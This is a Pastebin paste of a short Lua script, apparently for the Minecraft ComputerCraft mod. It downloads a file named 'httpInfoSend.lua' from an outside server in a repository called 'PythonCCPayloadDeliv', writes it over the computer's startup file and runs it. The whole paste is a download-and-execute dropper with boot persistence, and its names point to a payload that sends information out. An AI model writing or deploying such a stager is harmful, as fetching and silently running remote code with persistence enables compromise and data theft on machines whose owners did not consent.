Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function downloadFile(url, file)
- http.request(url)
- event, eUrl, content = os.pullEvent()
- if event == "http_success" then
- body = content.readAll()
- file = fs.open(file, "w")
- file.write(body)
- file.flush()
- file.close()
- end
- end
- downloadFile("http://battleboard.xyz:3000/ZeeDerp/PythonCCPayloadDeliv/raw/branch/master/httpInfoSend.lua","startup")
- shell.run("startup")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement